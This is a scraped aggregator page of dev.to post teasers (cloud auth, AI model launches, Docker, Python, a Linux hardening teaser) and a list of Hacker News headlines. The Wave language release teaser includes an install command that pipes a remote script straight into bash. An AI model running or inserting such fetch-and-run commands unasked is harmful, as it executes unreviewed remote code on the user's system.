    This one Azure URL saved me 10 hours of backend code. I built an entire login system… with zero backend code. Sounds like a scam? It’s not. Azure App Service's built-in auth (Easy Auth) lets you add Microsoft, Google, or custom sign-ins using just a URL. I added Login to my "_Layout.cshtml". Logout? Just go to /.auth/logout. No SDK. No OAuth logic. No token headaches. 👉 Ever tried building a secure login flow without code?  ( 5 min )
    Think Deeper, Act Faster: Qwen3-235B-A22B-Thinking-2507 Now Available on SiliconFlow
    With Qwen3-235B-A22B-Instruct-2507 (Non-Thinking mode) already demonstrating exceptional performance on SiliconFlow, today we're excited to bring the next breakthrough to our model catalog: Qwen3-235B-A22B-Thinking-2507. This newly open-source model delivers exceptional advances in both reasoning performance and general intelligence, matching the capabilities of leading proprietary models such as Gemini-2.5 Pro and O4-mini while establishing new performance benchmarks for open-source AI. From advanced research analysis to complex code generation, developers now have access to unprecedented reasoning performance for sophisticated problem-solving tasks. With SiliconFlow's Qwen3-235B-A22B-Thinking-2507 API, you can expect: Cost-Effective Pricing: $0.35/M tokens (input) and $1.42/M tokens (out…  ( 6 min )
    Correcting The Court: When Legal Errors Demand A Second Look
    When the court delivers a verdict, it may seem final. For many, it signals the end of a long legal journey. But what happens when that decision is flawed? When an oversight, a misinterpretation, or an unfair process led to a conviction or an unjust sentence? In Canada’s legal system, justice does not stop at a guilty verdict. If the process was compromised, if legal standards weren’t followed, or if new evidence comes to light, professional criminal appeal assistance offers a path to right those wrongs. It’s not about asking for a second opinion; it’s about demanding legal accountability. A criminal appeal is a formal request for a higher court to review a decision made by a trial court. It’s not a new trial, nor is it a chance to reargue the facts. Instead, the appeals process focuses on …  ( 8 min )
    Essential best practices for real user monitoring (RUM)
    In today’s digital-first world, a brand’s reputation often hinges on the quality of its online experience. That’s why Real User Monitoring (RUM) has become a vital part of any strategy focused on tracking website and application performance. By observing how real users interact with your digital platforms, RUM uncovers performance bottlenecks and usability issues that can affect satisfaction and retention. Beyond simply collecting data, RUM empowers organizations to enhance user experience and drive sustainable business growth. However, to unlock its full potential, you need a strategic approach. In this guide, we’ll outline practical best practices to help you get the most out of RUM—and keep your users delighted. Start by defining clear, measurable goals for your RUM strategy—such as red…  ( 7 min )
    How Docker MCP helps discover containerized MCP serviers
    Docker has launched the Docker MCP Catalog and Toolkit in beta to address key challenges in the Model Context Protocol (MCP) ecosystem for AI agents. Here's what's new: The Docker MCP Catalog is now integrated into Docker Hub and serves as a centralized discovery platform for MCP servers. It features over 100 curated, containerized MCP servers from trusted partners including Stripe, Elastic, Heroku, Pulumi, Grafana Labs, Kong Inc., Neo4j, New Relic, and Continue.dev. The catalog makes it easy to find official, trustworthy MCP tools in one place rather than searching across fragmented registries and community lists. By packaging MCP servers as Docker containers, the solution eliminates common deployment challenges like runtime setup, dependency conflicts, and environment inconsistencies. Co…  ( 5 min )
    🚀 I’m Launching My First Startup — Biz Tracker (at 16!)
    🚀 I’m Launching My First Startup — Biz Tracker (at 16!) Today is 1st August 2025, and it's not just any ordinary day for me. It’s the day I officially launch my very first startup — Introducing: Biz Tracker — A lightweight, modern web app to track stock entries, explore your biz flow, and simplify daily ops as a solo founder or indie builder. Hey! I’m Prasoon Jadon, a 16-year-old student from India. Not an engineer. Not from IIT. But a developer, solo founder, and product builder from the commerce stream. Yes, you read that right — commerce stream. People often said: “Commerce mein coding? Tu developer kaise banega?” But I didn’t stop. While others chased degrees, I chased JavaScript, SvelteKit, and GitHub commits. Built in SvelteKit with ❤️, Biz Tracker is meant for: ✍️ Indie founde…  ( 6 min )
    Could Qwen Be the Best Alternative to Claude Code for Developers?
    Hey devs 👨‍💻👩‍💻 I’ve been experimenting with different AI coding assistants this year. Claude Code was a solid pick, but I just read about Qwen’s new release, and it looks like a serious challenger. It raises a question: Here’s the article that sparked my curiosity: Did Qwen Just Release the Best Alternative to Claude Code? Has anyone here tested Qwen yet? I’d love to hear real-world dev feedback.  ( 5 min )
    SVGs rock!
    Signup here for the newsletter to get the weekly digest right into your inbox. Find the 10 highlighted links of weeklyfoo #95: A Friendly Introduction to SVG by Josh Comeau SVGs are one of the most exciting technologies we have access to in-browser. We can do so many cool things with SVG. It’s an absolutely critical part of my toolkit. 🚀 Read it!, svgs Announcing SecretSpec by Domen Kožar Declarative Secrets Management 📰 Good to know, secrets, management Celebrating 20 years of MDN by Joe Walker This month, we're celebrating a big anniversary: 20 years of MDN. 📰 Good to know, mdn Leading your engineers towards an AI-assisted future by Pete Hodgson It's about adopting AI in your engineering org. 📰 Good to know, ai, engineering Storybook bloat? Fixed. by Michael Shilman How we cut Storybook’s bundle size in half 📰 Good to know, storybook PogoCache by Josh Baker Fast caching software with a focus on low latency and cpu efficiency. 🧰 Tools, cache A tiny, dependency-free JavaScript module for making textarea elements grow with their content. by - Nice tiny component if you need a text area that automatically grows with its content. 🧰 Tools, growfield.js.org Asciinema by asciinema.org Record and share your terminal sessions, the simple way. 🧰 Tools, terminal, recording Gitleaks by gitleaks.io Find secrets with Gitleaks 🧰 Tools, secrets, git Next-Level Features Every Web Dev Should Know by Jad Joubran Learn all the new features! 📺 Videos, css, html Want to read more? Check out the full article here. To sign up for the weekly newsletter, visit weeklyfoo.com.  ( 5 min )
    My Journey Building the Smart HVAC Optimizer for Data Centers in Kenya
    In Kenya’s rapidly expanding digital economy, data centers are becoming the lifeblood of connectivity, cloud services, and enterprise transformation. Yet behind the scenes, they face a silent threat: energy inefficiency. As a mechanical engineering student pivoting into AI and infrastructure tech, I decided to tackle this head-on—building a Smart HVAC Optimizer that blends mechanical systems, machine learning, and software engineering to cool smarter, not harder. The Problem: Wasteful Cooling in Critical Infrastructure HVAC systems in Tier III-level data centers run nonstop. But without intelligent control, they: Overcool and waste energy Struggle to maintain optimal uptime Risk failing compliance standards like PCI DSI My Solution: A Smart ML-Powered HVAC Optimizer Tech Stack That Tells a Story It’s multidisciplinary—but clean. From thermodynamics to code. Impact: Local Vision, Global Standards In tests using simulated data and real usage patterns, my model reduced energy consumption by nearly 30%, while preserving uptime and hitting Tier III thresholds. That’s real value in the Kenyan context where every watt and second matters. I’m refining this into a scalable solution fit for local providers like icolo.io or Safaricom’s data infrastructure. I’m also exploring CDCP certification to deepen my compliance chops. Long-term? A portfolio that blends hardware intelligence with cloud-native scale. If this resonates with your work or interests, let’s connect! I believe in open collaboration and local innovation. Drop by the GitHub repo (coming soon), or reach out if you’re tackling infrastructure challenges across East Africa.  ( 5 min )
    How AI-First Tools Are Changing the Way We Do Research
    Hey folks Lately I’ve been struggling to keep my research workflow organized juggling Notion, random PDFs, and a dozen tabs feels outdated. I recently discovered some AI-first approaches that don’t just summarize but actively guide the research process. Honestly, it flipped how I think about productivity in 2025. If you’ve ever felt research was messy, you might find this breakdown useful: How Manus Just Reinvented The Way You Should Do Research Curious what’s your current stack for managing deep research?  ( 5 min )
    Design Patterns Simplified: Part 11 — Mediator Pattern (a.k.a. “Talk to the Middleman!”)
    The Mediator Pattern belongs to the Behavioral category of design patterns. Why? Because it’s all about organizing communication between objects in a way that reduces dependencies and promotes clean coordination. The Core Idea: So, what do you do? Now, instead of talking to each other directly, everyone communicates through the manager. The manager controls the flow, delegates tasks, and keeps everything in sync. That’s exactly what the Mediator Pattern does in code. Another Example: Air Traffic Control Think of airplanes landing and taking off. Planes don’t communicate with each other directly. It is a no brainer, as that would be chaotic. Instead, they all speak to one person - the Air Traffic Controller. Plane A: “Can I land?” All coordination is handled centrally. This is the Mediator …  ( 7 min )
    IGN: Witchboard - Official Red Band Trailer (2025) Directed by Chuck Russell
    Witchboard – Official Red Band Trailer (2025) Legendary horror director Chuck Russell (A Nightmare on Elm Street 3, The Mask) brings a chilling remake of the ’80s cult classic to modern-day New Orleans. When a cursed spirit board awakens a vengeful witch, a young couple finds themselves trapped in a terrifying game of possession and dark temptation. Expect occult rituals, spine-tingling scares, and a descent into supernatural madness as Witchboard proves some doors are better left unopened. Watch on YouTube  ( 5 min )
    IGN: Bus Flipper: Renovator Simulator - Official Launch Trailer
    Bus Flipper: Renovator Simulator, from Project Zima, just hit Steam! In this quirky sim you grab rundown buses and decide whether to clean them up, smash them into scrap, or trick them out with custom parts before flipping them for a profit. Check out the official launch trailer to see the wreck-and-renovate action in all its glory—your next garage hustle awaits! Watch on YouTube  ( 5 min )
    What was your win this week!?
    👋👋👋👋 Looking back on your week -- what was something you're proud of? All wins count -- big or small 🎉 Examples of 'wins' include: Getting a promotion! Starting a new project Fixing a tricky bug Cleaning your house 😄 Happy Friday!  ( 5 min )
    What's next after the Bolt hackathon
    This is a submission for the World's Largest Hackathon Writing Challenge: After the Hack. If you haven’t read my previous article on my experience during the world’s largest hackathon by Bolt, you can do so here. It’s been a journey, and like most participants in this hackathon, I plan to continue working on my project, Invoyceez, and to integrate the core features of the application. Some of the features I intend to add include single and batch invoice uploads, auto-reminders when an invoice is about to expire, and possibly a feature to create invoices via voice commands. I’ll also be redesigning the UI, which I’m currently working on in Figma. Once that’s done, I’ll apply the updated UI to the app. After completing these steps, I’ll begin testing with users. The goal of this application…  ( 6 min )
    Why I No Longer Trust “Secure by Default” in Linux Server Installs | by Faruk Ahmed | Jul, 2025
    Member-only story -- Share We all love the idea of a “secure by default” Linux distribution — something we can install and immediately feel safe running. But after auditing dozens of servers, I’ve learned this idea can be dangerously misleading. Even popular distributions like Ubuntu and CentOS come with default settings that can leave you exposed. Let me walk you through why I stopped trusting this myth — and what I do instead. Right after a fresh install, I ran a quick ss -tuln and was surprised to see several services already listening. Most Linux distros install services like Avahi, cups, or even rpcbind by default — services that are often unnecessary and may become attack surfaces. ✅ What I Do Now: I run sudo ss -tuln and sudo netstat -plnt right after install. Then I shut down and disable anything I don’t recognize: sudo systemctl stop avahi-daemon sudo systemctl disable avahi-daemon On one server, I found SSH was enabled for password login and root login — both of which are… Read Full Blog on Medium Here  ( 5 min )
    Responsive and sustainable images in markdown (commonmark) using haskell MMark
    NOTE: For full article please read https://injeniero.com/en/blog/responsive-sustainable-images-markdown-commonmark-haskell-mmark Introduction MMark, created by Mark Karpov, is a great haskell library that uses Commonmark specification to transform Markdown into HTML and is based on the following philosophy: Strict, explicitly specifying where parsing errors occur and what they are about. Extensible, where the user can compose extensions that add functionality. Since it's extensible, it's pretty easy to create useful extensions that can enrich your workflow from Markdown to a website. Web sustainability is something that is often overlooked by programmers, however, given the non-negligible CO2 emissions of the internet, it is worth mentioning. Here I post an example of an extension …  ( 7 min )
    Creating a Docker Image from a Running Container
    If you've made changes inside a running Docker container and want to save those changes, you can commit the container as a new image. In this short guide, we'll walk through how to do that: Let's create a simple Express app with just one file, index.js, and then build a Docker image from it. After that, we'll run a container using that image. Once the container is up and running, we'll make changes to the code inside the container and then commit those changes into a new Docker image. index.js const express = require('express'); const app = express(); app.get('/', (req, res) => { res.send("Welcome to Home Page"); }); app.listen(8080, () => console.log("Server Listening on 8080")); Dockerfile FROM node:14-alpine WORKDIR '/usr/app/' COPY './package.json' ./ RUN npm install COPY ./ .…  ( 6 min )
    Best Alternatives to RapidAPI
    Top 10 Best RapidAPI Alternatives for Developers In the vast landscape of API marketplaces, RapidAPI has established itself as a major hub for developers. However, the world of APIs is not one size fits all. As projects grow in complexity and business needs become more specialized, many developers and organizations find themselves looking for alternatives that better align with their specific goals, whether it's accessing unique data sets, achieving better cost efficiency, or requiring a more focused feature set. While popular platforms offer a broad selection, specific needs often drive the search for a more tailored solution. Key reasons include: Access to Specialized Data: General marketplaces may lack deep coverage in specific industries or regions, particularly for niche data like t…  ( 9 min )
    Build React Components with Conversational AI
    Building Your First Prompt to React Component Let's get started building our first React component that talks to an AI. This section will walk you through the initial setup and how to define the basic structure for interacting with AI models. We'll focus on getting the foundational pieces in place so you can start experimenting with AI-powered features in your applications. Think of this as laying the groundwork for a more interactive user experience. Setting Up Your React Environment Before we can write any code, we need to make sure our React project is ready. This involves setting up a new React application if you don't have one already, or ensuring your existing project has the necessary dependencies. For a new project, using a tool like Create React App or Vite is a good starting poin…  ( 8 min )
    Bolt TechInnovators-Intranet
    *This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt.*As I reflect on my experience with project development and technical journey, I'd like to share my story of creating the Techinnovators -Intranet, and how Bolt.new impacted my development process. Project Overview: TechInnovators -Intranet Initial Development Challenges Technical debt: Green Tech Inc. had an existing legacy system that was cumbersome and outdated. I needed to integrate the new platform with the existing infrastructure while ensuring a seamless user experience. Limited resources: The development team was small, and I had to work efficiently to meet the project deadline. Complex requirements: The platform required multiple features, including user authentication, authorization, and…  ( 6 min )
    Reflections and Future Plans TechIncovators -Intranet
    This is a submission for the World's Largest Hackathon Writing Challenge: After the Hack. < After the Hack: Reflections and Future Plans for TechIncovators- Intranet** As I conclude the development of GreenHub Intranet, the internal communication platform for Tech Incovators., I'm excited to share what's next for the project and reflect on the valuable lessons learned throughout this journey. Continuing Development and Next Steps While the initial development phase is complete, I plan to continue iterating on the platform to incorporate user feedback and add new features. Some of the upcoming enhancements include: Integrating AI-powered chatbots to provide employees with quick access to company information and support. Developing a mobile app to enable employees to access Tech Innovators …  ( 6 min )
    TechInnovator - Intranet
    This is a submission for the World's Largest Hackathon Writing Challenge: Beyond the Code. Collaboration and Mentorship IRL Events and Community Moments Shout-outs and Gratitude The Solo Experience In conclusion, my hackathon experience was more than just coding; it was about being part of a community that shares a passion for innovation and creativity. The connections I made, the mentors who helped me, and the overall atmosphere of the event made it a memorable and enriching experience. I am grateful for the opportunity to have been a part of it, and I look forward to staying connected with the community and seeing the impact of our collective efforts.  ( 6 min )
    What is Serverless? A Simple Explanation for Beginners
    Introduction: Unlocking the Power of Serverless Hey everyone, Rhythm Saha here, founder of NovexiQ! If you're deep into modern web development, you've probably heard the term 'serverless' floating around a lot. It sounds almost magical, doesn't it? 'No servers? How does my code even run then?' Trust me, I had those exact same questions when I first started exploring this fascinating paradigm. As a fullstack developer focused on building scalable, efficient applications with the MERN stack and Next.js, truly understanding serverless has been a massive game-changer for my projects and for NovexiQ. Today, I really want to demystify serverless architecture for you. We'll break it down into simple, digestible pieces without getting bogged down in overly technical jargon. My goal is to help yo…  ( 10 min )
    Building a Redis AI Vector Search Boilerplate with Spec-Driven Development
    Introduction In the era of AI-powered applications, traditional keyword search feels increasingly outdated. Users expect search experiences that understand context and meaning, not just exact word matches. That's why I built this Redis AI Vector Search Boilerplate - a modern full-stack application that demonstrates how to implement intelligent semantic search using Redis vector similarity and Google GenAI embeddings. This project is a comprehensive boilerplate that enables developers to quickly implement AI-powered semantic search in their applications. Instead of searching for exact keywords, users can ask natural language questions like "How to implement real-time chat?" and get relevance-ranked results that understand the intent behind their query. The application combines the power o…  ( 7 min )
    Introduction to Wave v0.1.4-pre-beta: Add optimization, method chaining, and image file build
    Hello! I'm LunaStev, the developer of Wave. We are pleased to announce Wave v0.1.4-pre-beta — [#212]CLI improvements [#213]Optimized to pass and -O2 [#215]Image caption Agregar comandos CLI y palabras clave de Proto para construir archivos [#216]Add Method Chaining The showcase is available at Wave-Test. Thank you for using Wave! Stay tuned for future updates and enhancements. CLI: wavec run --img main.wave Method Chaining: fun len(s: str) -> i32 { var count: i32 = 0; while (s[count] != 0) { count += 1; } return count; } fun main() { var my_string: str = "Hello World"; var length: i32 = my_string.len(); println("Result of my_string.len(): {}", length); } Download: Download to Curl. curl -fsSL https://wave-lang.dev/install.sh | bash -s -- --version v0.1.4-pre-beta ` Verify Installation: Open a terminal and type: bash wavec --version If the version number displays, the installation was successful. @lunastev | 🇰🇷 Website GitHub Community  ( 5 min )
    Building AI-Powered Semantic Search with Redis Vector Similarity and Deno
    What I Built I created a modern full-stack application that demonstrates the power of AI-driven semantic search using Redis vector similarity. This isn't your typical keyword-based search - it understands the meaning behind queries and finds relevant content even when exact words don't match. The application combines a sleek React frontend with a Deno-powered backend, creating a seamless experience for adding, searching, and managing content. Users can perform natural language queries like "machine learning algorithms" and get relevant results even if the stored content uses terms like "AI models" or "neural networks." Key features include: Semantic Search: Natural language queries powered by Google GenAI embeddings Real-time Interface: Modern React UI with dark/light theme support Serve…  ( 6 min )
    My 30-Day Startup-Style Sprint in a Corporate World
    This is a submission for the World's Largest Hackathon Writing Challenge: After the Hack. One and a half month ago, I joined a company with one mission: manage its online business and develop websites and apps to operate the business lines. It sounded straightforward—but reality had a different plan. I spent my first two weeks digging into the company’s existing assets and resources. The verdict? From my point-of-view, the legacy website was beyond salvage, a chaotic architecture, and a database without any proper model or abstraction. I would say it was a business risk. A tough decision had to be made: rebuild from scratch, starting with the main website. In less than 30 days, I delivered a brand-new full-featured e-commerce platform. My GitHub heatmap looked like I had given up on slee…  ( 7 min )
    DAY 03 - Few Days into My SDK in C++… and I'm Already Switching to C
    Introduction So I’ve spent the last few days building the foundation of my SDK in C++. Got a window on the screen. OpenGL is rendering a background colour. Everything works. But the more I build, the more I realize: this isn’t how I want to keep going. I’m switching to C. And here’s why. This SDK isn’t just a one-off game or tool. It’s meant to be the backbone for: Games (focused on performance and security) Cybersecurity tools (minimal attack surface) Cross-platform apps (desktop, mobile, and eventually bare metal) My own operating system down the line With that kind of ambition, every layer needs to be as tight and efficient as possible. That means no assumptions, no magic, no runtime surprises. And in C++, that’s hard to guarantee. Sure, C++ gives you features. But I quickly realized …  ( 6 min )
    Are You Really Copying in Python? 🤯 Shallow vs Deep Copy Explained
    Understanding the difference between shallow copy and deep copy is key when working with mutable objects in Python like lists, dictionaries, or custom classes. A shallow copy creates a new object, but inserts references to the original objects inside it. import copy original = [[1, 2], [3, 4]] shallow = copy.copy(original) shallow[0][0] = 99 print(original) # [[99, 2], [3, 4]] 🎯 Original is affected because inner objects are shared. A deep copy creates a new object and recursively copies all nested objects. import copy original = [[1, 2], [3, 4]] deep = copy.deepcopy(original) deep[0][0] = 99 print(original) # [[1, 2], [3, 4]] ✅ Original is NOT affected because everything is duplicated. Feature Shallow Copy Deep Copy New outer object? ✅ Yes ✅ Yes New inner objects? ❌ No (shared) ✅ Yes (copied) Uses copy.copy() ✅ ❌ Uses copy.deepcopy() ❌ ✅ Use shallow copy if: Your object has only immutable or flat structure You want faster performance Use deep copy if: Your object has nested mutable objects You want full isolation Custom classes may need a custom __deepcopy__() method if they hold external references or open files. Python copy module docs  ( 5 min )
    Day 1/50 Basics on cyber security & web2
    What is cybersecurity? These are practical techniques that helps in securing unauthorized access to computer systems and personal digital data. The Triad is the core of every system which is grounded on three powerful principles... Confidentiality: Every system should be take full responsibility on all data and ensuring that only the rightful owner got accesses to their data. Integrity: All data should stay true as intended by the beholder, and if altered the by a third party, the system should be able detect and be notified. Availability: The system should be able to grants authorized user accesses to the resource they need when they need them. Client Server Model Communication between the Client(Browser) and the Server(Remote Computer) URL(Uniform Resource Locator): i.e. the human readable address e.g. www.hillspere.com DNS(Domain Name Server): This DN Server is responsible for responding to the client request by sending the unique number (IP address) pairing with the URL to the client. IP address is a unique number that identifies a device on the internet. HTTP/HTTPS: For the client and the server to communicate, a protocol is used, the client sends a request called HTTP(HyperText Transfer Protocol) or the HTTPS(the secured version) request to the IP address of the server to fetch anything from the server. bfCache (Back Forward Cache): This is an inbuilt optimizer in chrome browsers that enhance webpage's response time by default though some practice can hinder its functionality which is when you set in the control headers Response Headers Request Headers Its was an awesome one on my Day 1 journey I have learnt a lot from the above summaries am open to corrections and constructive critics see you all tomorrow. Chao!!!  ( 5 min )
    Publicar un sitio web con angular en GCP AppEngine Standard
    Si lo que queremos es desplegar un frontend web (ya sea de forma estática o generado por un framework) de forma rápida y de forma muy económica (incluso cero costo) una opción a tener en cuenta es usar Google Cloud AppEngine Standard. Como se menciona en la página del proveedor, el usar este tipo de soluciones administradas provee de una serie de ventajas, entre las que podemos destacar el uso de lenguajes populares, diagnosticos avanzado de aplicaciones para el monitoreo del estado y el rendimiento de la aplicación, gestion de versiones así como la seguridad, entre otros. Sin más preambulos, comencemos con lo necesario para poder desplegar nuestra página web en AppEngine. Para ello es necesario haber realizado los pasos indicados en esta guía detallada. Tal como indica la guia, debemos co…  ( 7 min )
    GUIA PRÁTICO DE COMANDOS DO DOCKER #5
    Neste artigo, iremos falar um pouco sobre Commit, Export e Import commit O comando commit é utilizado para criar uma nova imagem baseada no estado atual de um container. Isso é útil quando você deseja preservar modificações feitas manualmente dentro de um container. Exemplo Prático 1.1. Crie um container Alpine com shell habilitado: docker container run -dt --name alpine-commit alpine:latest 1.2. Acesse o container: docker container exec -it alpine-commit sh 1.3. Crie um arquivo dentro do container: echo "Arquivo criado dentro do container" > container-file cat container-file 1.4. Abra um novo terminal no host e gere a imagem baseada no container: docker container commit alpine-commit alpine:custom alpine: nome da imagem custom: tag personalizada 1.5. Confirme a criação da imagem dock…  ( 6 min )
    Update the virtual network
    Create a new subnet on an existing virtual network (vNet) Login into Microsoft Azure portal From the Azure portal home page, in the search box, enter virtual networks Select virtual networks under services and create, name it "guided-project-vnet " Select the guided-project-vnet virtual network. 5.From the guided-project-vnet blade, under settings, select Subnets. To add a subnet, select + Subnet. For Subnet purpose leave it as Default. For Name enter: ftpSubnet. Leave the rest of the settings alone and select Add. The subnet has been created successfully Select Home to return to the Azure portal home page. Congratulations – you’ve completed the creation of a subnet. This subnet is only going to be used for SFTP traffic. To increase security, you need to configure a Networ…  ( 6 min )
    Troubleshooting Bicep Updates on Windows Self-Hosted Agents
    🛠️ Resolving Bicep Update Issues in Self-Hosted CI/CD Agents This post is a follow-up to my previous article on updating Bicep to leverage Microsoft's latest features. In our organization, we use Windows-based self-hosted agents for CI/CD pipelines. While updating Bicep might seem as simple as running a command and moving on, I recently encountered a subtle issue that proved otherwise. After running the update command for Bicep, I expected the pipeline to use the latest version. However, it continued to execute using an older version. This was puzzling, especially since the update process had completed without errors. Initially, I suspected a path conflict. Months ago, I had manually placed the Bicep executable in Program Files to avoid copying it over with each update. To streamline fu…  ( 6 min )
    Go Memory Escape Analysis: Your Guide to Faster Code
    Go’s clean syntax and concurrency chops make it a go-to for high-performance apps, from web servers to microservices. But performance often hinges on memory management. Enter memory escape analysis, a Go compiler trick that decides whether variables live on the stack (fast, no garbage collection) or the heap (slower, GC-managed). Mastering this can slash latency and boost efficiency. Picture memory allocation like packing for a trip: the stack is your carry-on (quick, limited space), and the heap is checked luggage (roomy, but slower). Escape analysis is the savvy packer deciding what goes where, optimizing for speed. In this guide, we’ll unpack how it works, why it matters, and how to use it to write faster Go code. Who’s this for? Go devs with 1–2 years of experience looking to level up …  ( 9 min )
    Title: Palo Alto Networks Acquires CyberArk for $25 Billion: Strengthening Identity Security in the Cybersecurity Landscape
    Title: Palo Alto Networks Acquires CyberArk for $25 Billion: Strengthening Identity Security in the Cybersecurity Landscape Introduction In a major move that is set to redefine the cybersecurity landscape, Palo Alto Networks has agreed to acquire CyberArk for a staggering $25 billion. This acquisition is one of the largest cybersecurity deals of the year so far and is a clear indication of the growing importance of identity security in the digital age. In this blog post, we will delve into the details of this acquisition, its implications for the cybersecurity industry, and what it means for businesses and organizations. The Acquisition: Palo Alto Networks and CyberArk Palo Alto Networks, a leading cybersecurity company, has announced its acquisition of CyberArk, a leading identity secur…  ( 7 min )
    Title: How AI Boosted User Engagement on Facebook and Instagram in Q2
    Title: How AI Boosted User Engagement on Facebook and Instagram in Q2 Meta, the parent company of Facebook and Instagram, has announced that the integration of Artificial Intelligence (AI) into its platforms has led to an increase in user engagement. In the second quarter of 2021, Meta reported that over 3.4 billion people used one of its "family of apps" on a daily basis. The integration of AI has allowed Facebook and Instagram to personalize the user experience, making it more engaging and relevant to individual users. This has led to an increase in the amount of time users spend on the platform, as well as an increase in the number of interactions they have with content. One of the key ways in which AI has been used to improve the user experience is through the use of algorithms. These algorithms analyze user behavior and preferences to recommend content that is most likely to be of interest to them. This has led to an increase in the amount of time users spend on the platform, as they are more likely to engage with content that is relevant to their interests. Another way in which AI has been used to improve the user experience is through the use of chatbots. These chatbots are designed to mimic human conversation and can be used to answer user questions and provide support. This has led to an increase in user satisfaction, as users are able to get the help they need quickly and easily. Overall, the integration of AI into Facebook and Instagram has led to a significant increase in user engagement. This has been achieved through the use of algorithms and chatbots, which have allowed the platforms to personalize the user experience and make it more engaging and relevant to individual users. As a result, Meta has reported that over 3.4 billion people used one of its "family of apps" on a daily basis in the second quarter of 2021. 📌 Based on insights from techcrunch.com  ( 6 min )
    The Silent Revolution: How Fortune 500 Companies Are Unlocking Billions Through Data Automation
    While many businesses debate the adoption of new technologies, leading Fortune 500 companies have already advanced past initial trials into comprehensive data automation implementations that are transforming entire industries. The Developer Opportunity These case studies reveal a critical market reality: enterprises require sophisticated data automation solutions, yet many existing tools demand extensive customization for real-world implementation. This creates significant opportunities for developers crafting applications that can: ➤ Integrate seamlessly with existing enterprise systems ➤ Process unstructured data from multiple sources simultaneously ➤ Provide intelligent insights without requiring deep technical expertise ➤ Scale across various business units and use cases The Path Forward As more Fortune 500 companies demonstrate measurable success with data automation, market demand will accelerate dramatically. The companies that establish themselves as leaders in this area today will capture a significant share of what analysts predict will be a $95 billion market by 2025. The question for development teams is not whether data automation will transform business operations, but whether they will create the solutions that enable this transformation. The Fortune 500 has shown that it works. Now it's time to build the tools that make it accessible to everyone else.  ( 5 min )
    Luzes e Borrões
    import pygame pygame.init() WIDTH, HEIGHT = 400, 400 BACKGROUND_COLOR = (100, 200, 100) GAME_STATES = ['intro', 'exploration', 'dialogue', 'falling', 'transition'] try: class Player: init(self, x, y): def update(self): keys = pygame.key.get_pressed() prev_x, prev_y = self.x, self.y if keys[pygame.K_LEFT]: self.x -= self.speed self.direction = 'side' if keys[pygame.K_RIGHT]: self.x += self.speed self.direction = 'side' if keys[pygame.K_UP]: self.y -= self.speed self.direction = 'back' if keys[pygame.K_DOWN]: self.y += self.speed self.direction = 'front' self.x = max(0, min(self.x, WIDTH - 20)) self.y = max(0, min(self.y, HEIGHT - 20)) if self.x != prev_x or self.y != prev_y: self.fram…  ( 6 min )
  • Open

    Twentyseven 1.0
    Comments  ( 3 min )
    Cerebras Code
    Comments  ( 10 min )
    Coffeematic PC – A coffee maker computer that pumps hot coffee to the CPU
    Comments  ( 4 min )
    Tim Cook rallying Apple employees around AI efforts
    Comments
    Anthropic Revokes OpenAI's Access to Claude
    Comments  ( 96 min )
    JSON is not a YAML subset (2022)
    Comments  ( 1 min )
    Schematra: A Sinatra love letter in Scheme
    Comments  ( 31 min )
    Cloud Drawing Gallery
    Comments
    Researchers map where solar energy delivers the biggest climate payoff
    Comments  ( 5 min )
    Does the bitter lesson have limits?
    Comments  ( 6 min )
    When Flatpak's Sandbox Cracks
    Comments  ( 5 min )
    Native Sparse Attention
    Comments  ( 7 min )
    DeepSeek won the best paper award at ACL 2025
    Comments  ( 2 min )
    Deep Agents
    Comments  ( 4 min )
    Atlassian terminates 150 staff with pre-recorded video
    Comments  ( 18 min )
    Philz Coffee close to closing deal to sell to private equity firm for $145M
    Comments  ( 12 min )
    Clarifying recent headlines on gaming content
    Comments
    Bad UX
    Comments  ( 4 min )
    If you Google 'bad UX', all the results appear in Comic Sans
    Comments  ( 4 min )
    Unemployment rising in remote-friendly occupations (2024)
    Comments  ( 4 min )
    Survival at High Altitudes: Wheel-Well Passengers (1996)
    Comments  ( 19 min )
    Tesla must pay $329M in damages in fatal Autopilot case, jury says
    Comments  ( 86 min )
    Self-Signed JWTs
    Comments  ( 2 min )
    NSF suspends nearly 300 UCLA grants (Terence Tao, Plasma Science Facility, etc.)
    Comments  ( 5 min )
    Google Shifts goo.gl Policy: Inactive Links Deactivated, Active Links Preserved
    Comments  ( 14 min )
    Coverage Cat (YC S22) Is Hiring a Senior, Staff, or Principal Engineer
    Comments  ( 2 min )
    I couldn't submit a PR, so I got hired and fixed it myself
    Comments  ( 2 min )
    Show HN: TraceRoot – Open-source agentic debugging for distributed services
    Comments  ( 15 min )
    Corporation for Public Broadcasting Ceasing Operations
    Comments  ( 6 min )
    Ergonomic keyboarding with the Svalboard: a half-year retrospective
    Comments  ( 19 min )
    At 17, Hannah Cairo solved a major math mystery
    Comments  ( 12 min )
    Design patterns you should unlearn in Python
    Comments  ( 6 min )
    Supporting the BEAM community with free CI/CD security audits
    Comments  ( 14 min )
    Rollercoaster Tycoon (Or, MicroProse's Last Hurrah)
    Comments  ( 25 min )
    OpenAI Leaks 120B Open Model on Hugging Face
    Comments
    Rate, Price Drops Won't Substantially Improve Affordability
    Comments
    FBI seized $40k from Linda Martin without charging her with a crime
    Comments  ( 15 min )
    Show HN: Pontoon – Open-source customer data syncs
    Comments  ( 12 min )
    Fast (2019)
    Comments  ( 6 min )
    Ask HN: Who is hiring? (August 2025)
    Comments  ( 30 min )
    Ask HN: Who wants to be hired? (August 2025)
    Comments  ( 18 min )
    Hyrum's Law
    Comments  ( 2 min )
    Long Term Support
    Comments  ( 3 min )
    IRS head says free Direct File tax service is 'gone'
    Comments  ( 22 min )
    OpenAI raises $8.3B at $300B valuation
    Comments
    Online Safety Act: What went wrong?
    Comments
    GPT-5 is already (ostensibly) available via API
    Comments
    The Rule of Law Is Dead in the US
    Comments  ( 28 min )
    Live coding interviews measure stress, not coding skills
    Comments  ( 3 min )
    Launch HN: Societies.io (YC W25) – AI simulations of your target audience
    Comments  ( 2 min )
    The Untold Impact of Cancellation
    Comments  ( 15 min )
    Navy demonstrates multi-day solar UAS flight
    Comments
    How did Facebook intercept competitor's encrypted mobile app traffic? (2014)
    Comments  ( 11 min )
    Belgium Bans Internet Archive's 'Open Library' in Site Blocking Order
    Comments  ( 6 min )
    Terence Tao's NSF grants suspended
    Comments  ( 1 min )
    Gemini 2.5 Deep Think
    Comments
    How to Secure a Linux Server
    Comments  ( 237 min )
    Try Deep Think in the Gemini App
    Comments  ( 15 min )
    Onshape – Product Development Platform
    Comments  ( 5 min )
    The first lunar road trip
    Comments  ( 22 min )
    Pride Versioning 0.3.0
